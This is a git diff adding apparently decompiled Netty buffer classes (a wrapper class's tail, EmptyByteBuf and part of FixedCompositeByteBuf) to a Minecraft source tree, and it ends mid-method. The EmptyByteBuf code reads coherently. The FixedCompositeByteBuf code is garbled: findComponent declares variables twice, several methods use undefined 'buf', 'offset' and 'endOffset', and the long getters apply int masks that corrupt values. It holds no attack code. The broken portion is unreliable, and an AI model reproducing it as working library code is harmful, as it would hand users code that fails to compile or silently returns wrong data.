+  {
+    _setInt(index, value);
+    return this;
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    buffer.setInt(index, value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    _setLong(index, value);
+    return this;
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    buffer.setLong(index, value);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    buffer.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    buffer.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    buffer.setBytes(index, src);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+    throws IOException
+  {
+    buffer.getBytes(index, out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+    throws IOException
+  {
+    return buffer.getBytes(index, out, length);
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+    throws IOException
+  {
+    return buffer.setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+    throws IOException
+  {
+    return buffer.setBytes(index, in, length);
+  }
+  
+  public int nioBufferCount()
+  {
+    return buffer.nioBufferCount();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return buffer.nioBuffers(index, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return nioBuffer(index, length);
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    return buffer.forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    return buffer.forEachByteDesc(index, length, processor);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/EmptyByteBuf.java b/src/minecraft/io/netty/buffer/EmptyByteBuf.java
new file mode 100644
index 0000000..7bfb517
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/EmptyByteBuf.java
@@ -0,0 +1,870 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.ReadOnlyBufferException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EmptyByteBuf
+  extends ByteBuf
+{
+  private static final ByteBuffer EMPTY_BYTE_BUFFER = ByteBuffer.allocateDirect(0);
+  private static final long EMPTY_BYTE_BUFFER_ADDRESS;
+  private final ByteBufAllocator alloc;
+  
+  static { long emptyByteBufferAddress = 0L;
+    try {
+      if (PlatformDependent.hasUnsafe()) {
+        emptyByteBufferAddress = PlatformDependent.directBufferAddress(EMPTY_BYTE_BUFFER);
+      }
+    }
+    catch (Throwable t) {}
+    
+    EMPTY_BYTE_BUFFER_ADDRESS = emptyByteBufferAddress;
+  }
+  
+
+  private final ByteOrder order;
+  private final String str;
+  private EmptyByteBuf swapped;
+  public EmptyByteBuf(ByteBufAllocator alloc)
+  {
+    this(alloc, ByteOrder.BIG_ENDIAN);
+  }
+  
+  private EmptyByteBuf(ByteBufAllocator alloc, ByteOrder order) {
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    
+    this.alloc = alloc;
+    this.order = order;
+    str = (StringUtil.simpleClassName(this) + (order == ByteOrder.BIG_ENDIAN ? "BE" : "LE"));
+  }
+  
+  public int capacity()
+  {
+    return 0;
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return alloc;
+  }
+  
+  public ByteOrder order()
+  {
+    return order;
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return null;
+  }
+  
+  public boolean isDirect()
+  {
+    return true;
+  }
+  
+  public int maxCapacity()
+  {
+    return 0;
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    if (endianness == null) {
+      throw new NullPointerException("endianness");
+    }
+    if (endianness == order()) {
+      return this;
+    }
+    
+    EmptyByteBuf swapped = this.swapped;
+    if (swapped != null) {
+      return swapped;
+    }
+    
+    this.swapped = (swapped = new EmptyByteBuf(alloc(), endianness));
+    return swapped;
+  }
+  
+  public int readerIndex()
+  {
+    return 0;
+  }
+  
+  public ByteBuf readerIndex(int readerIndex)
+  {
+    return checkIndex(readerIndex);
+  }
+  
+  public int writerIndex()
+  {
+    return 0;
+  }
+  
+  public ByteBuf writerIndex(int writerIndex)
+  {
+    return checkIndex(writerIndex);
+  }
+  
+  public ByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    checkIndex(readerIndex);
+    checkIndex(writerIndex);
+    return this;
+  }
+  
+  public int readableBytes()
+  {
+    return 0;
+  }
+  
+  public int writableBytes()
+  {
+    return 0;
+  }
+  
+  public int maxWritableBytes()
+  {
+    return 0;
+  }
+  
+  public boolean isReadable()
+  {
+    return false;
+  }
+  
+  public boolean isWritable()
+  {
+    return false;
+  }
+  
+  public ByteBuf clear()
+  {
+    return this;
+  }
+  
+  public ByteBuf markReaderIndex()
+  {
+    return this;
+  }
+  
+  public ByteBuf resetReaderIndex()
+  {
+    return this;
+  }
+  
+  public ByteBuf markWriterIndex()
+  {
+    return this;
+  }
+  
+  public ByteBuf resetWriterIndex()
+  {
+    return this;
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    return this;
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    return this;
+  }
+  
+  public ByteBuf ensureWritable(int minWritableBytes)
+  {
+    if (minWritableBytes < 0) {
+      throw new IllegalArgumentException("minWritableBytes: " + minWritableBytes + " (expected: >= 0)");
+    }
+    if (minWritableBytes != 0) {
+      throw new IndexOutOfBoundsException();
+    }
+    return this;
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    if (minWritableBytes < 0) {
+      throw new IllegalArgumentException("minWritableBytes: " + minWritableBytes + " (expected: >= 0)");
+    }
+    
+    if (minWritableBytes == 0) {
+      return 0;
+    }
+    
+    return 1;
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public byte getByte(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public short getShort(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int getMedium(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int getInt(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public long getLong(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public char getChar(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public float getFloat(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public double getDouble(int index)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst)
+  {
+    return checkIndex(index, dst.writableBytes());
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst)
+  {
+    return checkIndex(index, dst.length);
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    return checkIndex(index, dst.remaining());
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+  {
+    checkIndex(index, length);
+    return 0;
+  }
+  
+  public ByteBuf setBoolean(int index, boolean value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src)
+  {
+    return checkIndex(index, src.length);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    return checkIndex(index, src.remaining());
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+  {
+    checkIndex(index, length);
+    return 0;
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+  {
+    checkIndex(index, length);
+    return 0;
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public boolean readBoolean()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public byte readByte()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public short readUnsignedByte()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public short readShort()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int readUnsignedShort()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int readMedium()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public int readInt()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public long readUnsignedInt()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public long readLong()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public char readChar()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public float readFloat()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public double readDouble()
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst)
+  {
+    return checkLength(dst.writableBytes());
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf readBytes(byte[] dst)
+  {
+    return checkLength(dst.length);
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    return checkLength(dst.remaining());
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length)
+  {
+    return checkLength(length);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length)
+  {
+    checkLength(length);
+    return 0;
+  }
+  
+  public ByteBuf skipBytes(int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf writeBoolean(boolean value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeByte(int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeMedium(int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src)
+  {
+    throw new IndexOutOfBoundsException();
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf writeBytes(byte[] src)
+  {
+    return checkLength(src.length);
+  }
+  
+  public ByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    return checkLength(length);
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer src)
+  {
+    return checkLength(src.remaining());
+  }
+  
+  public int writeBytes(InputStream in, int length)
+  {
+    checkLength(length);
+    return 0;
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length)
+  {
+    checkLength(length);
+    return 0;
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    return checkLength(length);
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    checkIndex(fromIndex);
+    checkIndex(toIndex);
+    return -1;
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    return -1;
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    checkLength(length);
+    return -1;
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    checkIndex(index, length);
+    return -1;
+  }
+  
+  public int forEachByte(ByteBufProcessor processor)
+  {
+    return -1;
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    checkIndex(index, length);
+    return -1;
+  }
+  
+  public int forEachByteDesc(ByteBufProcessor processor)
+  {
+    return -1;
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    checkIndex(index, length);
+    return -1;
+  }
+  
+  public ByteBuf copy()
+  {
+    return this;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf slice()
+  {
+    return this;
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return checkIndex(index, length);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return this;
+  }
+  
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    return EMPTY_BYTE_BUFFER;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return nioBuffer();
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    return new ByteBuffer[] { EMPTY_BYTE_BUFFER };
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex(index, length);
+    return nioBuffers();
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return EMPTY_BYTE_BUFFER;
+  }
+  
+  public boolean hasArray()
+  {
+    return true;
+  }
+  
+  public byte[] array()
+  {
+    return EmptyArrays.EMPTY_BYTES;
+  }
+  
+  public int arrayOffset()
+  {
+    return 0;
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return EMPTY_BYTE_BUFFER_ADDRESS != 0L;
+  }
+  
+  public long memoryAddress()
+  {
+    if (hasMemoryAddress()) {
+      return EMPTY_BYTE_BUFFER_ADDRESS;
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+
+  public String toString(Charset charset)
+  {
+    return "";
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    checkIndex(index, length);
+    return toString(charset);
+  }
+  
+  public int hashCode()
+  {
+    return 0;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    return ((obj instanceof ByteBuf)) && (!((ByteBuf)obj).isReadable());
+  }
+  
+  public int compareTo(ByteBuf buffer)
+  {
+    return buffer.isReadable() ? -1 : 0;
+  }
+  
+  public String toString()
+  {
+    return str;
+  }
+  
+  public boolean isReadable(int size)
+  {
+    return false;
+  }
+  
+  public boolean isWritable(int size)
+  {
+    return false;
+  }
+  
+  public int refCnt()
+  {
+    return 1;
+  }
+  
+  public ByteBuf retain()
+  {
+    return this;
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return false;
+  }
+  
+  public boolean release(int decrement)
+  {
+    return false;
+  }
+  
+  private ByteBuf checkIndex(int index) {
+    if (index != 0) {
+      throw new IndexOutOfBoundsException();
+    }
+    return this;
+  }
+  
+  private ByteBuf checkIndex(int index, int length) {
+    if (length < 0) {
+      throw new IllegalArgumentException("length: " + length);
+    }
+    if ((index != 0) || (length != 0)) {
+      throw new IndexOutOfBoundsException();
+    }
+    return this;
+  }
+  
+  private ByteBuf checkLength(int length) {
+    if (length < 0) {
+      throw new IllegalArgumentException("length: " + length + " (expected: >= 0)");
+    }
+    if (length != 0) {
+      throw new IndexOutOfBoundsException();
+    }
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/FixedCompositeByteBuf.java b/src/minecraft/io/netty/buffer/FixedCompositeByteBuf.java
new file mode 100644
index 0000000..c8158b1
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/FixedCompositeByteBuf.java
@@ -0,0 +1,665 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.RecyclableArrayList;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.ReadOnlyBufferException;
+import java.nio.channels.FileChannel;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class FixedCompositeByteBuf
+  extends AbstractReferenceCountedByteBuf
+{
+  private static final ByteBuf[] EMPTY = { Unpooled.EMPTY_BUFFER };
+  private final int nioBufferCount;
+  private final int capacity;
+  private final ByteBufAllocator allocator;
+  private final ByteOrder order;
+  private final Object[] buffers;
+  private final boolean direct;
+  
+  FixedCompositeByteBuf(ByteBufAllocator allocator, ByteBuf... buffers) {
+    super(Integer.MAX_VALUE);
+    if (buffers.length == 0) {
+      this.buffers = EMPTY;
+      order = ByteOrder.BIG_ENDIAN;
+      this.nioBufferCount = 1;
+      this.capacity = 0;
+      this.direct = false;
+    } else {
+      ByteBuf b = buffers[0];
+      this.buffers = new Object[buffers.length];
+      this.buffers[0] = b;
+      boolean direct = true;
+      int nioBufferCount = b.nioBufferCount();
+      int capacity = b.readableBytes();
+      order = b.order();
+      for (int i = 1; i < buffers.length; i++) {
+        b = buffers[i];
+        if (buffers[i].order() != order) {
+          throw new IllegalArgumentException("All ByteBufs need to have same ByteOrder");
+        }
+        nioBufferCount += b.nioBufferCount();
+        capacity += b.readableBytes();
+        if (!b.isDirect()) {
+          direct = false;
+        }
+        this.buffers[i] = b;
+      }
+      this.nioBufferCount = nioBufferCount;
+      this.capacity = capacity;
+      this.direct = direct;
+    }
+    setIndex(0, capacity());
+    this.allocator = allocator;
+  }
+  
+  public boolean isWritable()
+  {
+    return false;
+  }
+  
+  public boolean isWritable(int size)
+  {
+    return false;
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int setBytes(int index, FileChannel in, long position, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int capacity()
+  {
+    return capacity;
+  }
+  
+  public int maxCapacity()
+  {
+    return capacity;
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return allocator;
+  }
+  
+  public ByteOrder order()
+  {
+    return order;
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return null;
+  }
+  
+  public boolean isDirect()
+  {
+    return direct;
+  }
+  
+  private Component findComponent(int index) {
+    int readable = 0;
+    for (int i = 0; i < buffers.length; i++) {
+      Component comp = null;
+      
+      Object obj = buffers[i];
+      boolean isBuffer;
+      ByteBuf b; boolean isBuffer; if ((obj instanceof ByteBuf)) {
+        ByteBuf b = (ByteBuf)obj;
+        isBuffer = true;
+      } else {
+        comp = (Component)obj;
+        b = buf;
+        isBuffer = false;
+      }
+      readable += b.readableBytes();
+      if (index < readable) {
+        if (isBuffer)
+        {
+
+          comp = new Component(i, readable - b.readableBytes(), b);
+          buffers[i] = comp;
+        }
+        return comp;
+      }
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+  private ByteBuf buffer(int i)
+  {
+    Object obj = buffers[i];
+    if ((obj instanceof ByteBuf)) {
+      return (ByteBuf)obj;
+    }
+    return buf;
+  }
+  
+  public byte getByte(int index)
+  {
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    Component c = findComponent(index);
+    return buf.getByte(index - offset);
+  }
+  
+  protected short _getShort(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 2 <= endOffset)
+      return buf.getShort(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (short)((_getByte(index) & 0xFF) << 8 | _getByte(index + 1) & 0xFF);
+    }
+    return (short)(_getByte(index) & 0xFF | (_getByte(index + 1) & 0xFF) << 8);
+  }
+  
+
+  protected short _getShortLE(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 2 <= endOffset)
+      return buf.getShortLE(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (short)(_getByte(index) & 0xFF | (_getByte(index + 1) & 0xFF) << 8);
+    }
+    return (short)((_getByte(index) & 0xFF) << 8 | _getByte(index + 1) & 0xFF);
+  }
+  
+
+  protected int _getUnsignedMedium(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 3 <= endOffset)
+      return buf.getUnsignedMedium(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (_getShort(index) & 0xFFFF) << 8 | _getByte(index + 2) & 0xFF;
+    }
+    return _getShort(index) & 0xFFFF | (_getByte(index + 2) & 0xFF) << 16;
+  }
+  
+
+  protected int _getUnsignedMediumLE(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 3 <= endOffset)
+      return buf.getUnsignedMediumLE(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return _getShortLE(index) & 0xFFFF | (_getByte(index + 2) & 0xFF) << 16;
+    }
+    return (_getShortLE(index) & 0xFFFF) << 8 | _getByte(index + 2) & 0xFF;
+  }
+  
+
+  protected int _getInt(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 4 <= endOffset)
+      return buf.getInt(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (_getShort(index) & 0xFFFF) << 16 | _getShort(index + 2) & 0xFFFF;
+    }
+    return _getShort(index) & 0xFFFF | (_getShort(index + 2) & 0xFFFF) << 16;
+  }
+  
+
+  protected int _getIntLE(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 4 <= endOffset)
+      return buf.getIntLE(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return _getShortLE(index) & 0xFFFF | (_getShortLE(index + 2) & 0xFFFF) << 16;
+    }
+    return (_getShortLE(index) & 0xFFFF) << 16 | _getShortLE(index + 2) & 0xFFFF;
+  }
+  
+
+  protected long _getLong(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 8 <= endOffset)
+      return buf.getLong(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (_getInt(index) & 0xFFFFFFFF) << 32 | _getInt(index + 4) & 0xFFFFFFFF;
+    }
+    return _getInt(index) & 0xFFFFFFFF | (_getInt(index + 4) & 0xFFFFFFFF) << 32;
+  }
+  
+
+  protected long _getLongLE(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 8 <= endOffset)
+      return buf.getLongLE(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return _getIntLE(index) & 0xFFFFFFFF | (_getIntLE(index + 4) & 0xFFFFFFFF) << 32;
+    }
+    return (_getIntLE(index) & 0xFFFFFFFF) << 32 | _getIntLE(index + 4) & 0xFFFFFFFF;
+  }
+  
+
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.length);
+    if (length == 0) {
+      return this;
+    }
+    
+    Component c = findComponent(index);
+    int i = index;
+    int adjustment = offset;
+    ByteBuf s = buf;
+    for (;;) {
+      int localLength = Math.min(length, s.readableBytes() - (index - adjustment));
+      s.getBytes(index - adjustment, dst, dstIndex, localLength);
+      index += localLength;
+      dstIndex += localLength;
+      length -= localLength;
+      adjustment += s.readableBytes();
+      if (length <= 0) {
+        break;
+      }
+      s = buffer(++i);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    int limit = dst.limit();
+    int length = dst.remaining();
+    
+    checkIndex(index, length);
+    if (length == 0) {
+      return this;
+    }
+    try
+    {
+      Component c = findComponent(index);
+      int i = index;
+      int adjustment = offset;
+      ByteBuf s = buf;
+      for (;;) {
+        int localLength = Math.min(length, s.readableBytes() - (index - adjustment));
+        dst.limit(dst.position() + localLength);
+        s.getBytes(index - adjustment, dst);
+        index += localLength;
+        length -= localLength;
+        adjustment += s.readableBytes();
+        if (length <= 0) {
+          break;
+        }
+        s = buffer(++i);
+      }
+    } finally {
+      dst.limit(limit);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.capacity());
+    if (length == 0) {
+      return this;
+    }
+    
+    Component c = findComponent(index);
+    int i = index;
+    int adjustment = offset;
+    ByteBuf s = buf;
+    for (;;) {
+      int localLength = Math.min(length, s.readableBytes() - (index - adjustment));
+      s.getBytes(index - adjustment, dst, dstIndex, localLength);
+      index += localLength;
+      dstIndex += localLength;
+      length -= localLength;
+      adjustment += s.readableBytes();
+      if (length <= 0) {
+        break;
+      }
+      s = buffer(++i);
+    }
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+    throws IOException
+  {
+    int count = nioBufferCount();
+    if (count == 1) {
+      return out.write(internalNioBuffer(index, length));
+    }
+    long writtenBytes = out.write(nioBuffers(index, length));
+    if (writtenBytes > 2147483647L) {
+      return Integer.MAX_VALUE;
+    }
+    return (int)writtenBytes;
+  }
+  
+
+
+  public int getBytes(int index, FileChannel out, long position, int length)
+    throws IOException
+  {
+    int count = nioBufferCount();
+    if (count == 1) {
+      return out.write(internalNioBuffer(index, length), position);
+    }
+    long writtenBytes = 0L;
+    for (ByteBuffer buf : nioBuffers(index, length)) {
+      writtenBytes += out.write(buf, position + writtenBytes);
+    }
+    if (writtenBytes > 2147483647L) {
+      return Integer.MAX_VALUE;
+    }
